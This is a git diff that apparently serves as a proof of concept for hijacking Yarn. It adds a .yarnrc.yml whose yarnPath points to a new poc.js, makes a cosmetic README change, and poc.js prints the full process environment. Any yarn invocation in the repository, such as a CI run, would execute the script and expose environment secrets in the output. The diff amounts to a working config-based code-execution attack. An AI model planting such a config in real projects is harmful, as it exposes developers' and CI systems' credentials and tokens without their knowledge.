diff --git a/.yarnrc.yml b/.yarnrc.yml
new file mode 100644
index 0000000..cc0cf26
--- /dev/null
+++ b/.yarnrc.yml
@@ -0,0 +1 @@
+yarnPath: "./poc.js"
diff --git a/README.md b/README.md
index 369177c..ebc8c1b 100644
--- a/README.md
+++ b/README.md
@@ -1 +1,2 @@
 # public
+
diff --git a/poc.js b/poc.js
new file mode 100644
index 0000000..29dbd8c
--- /dev/null
+++ b/poc.js
@@ -0,0 +1 @@
+ console.log(JSON.stringify(process.env));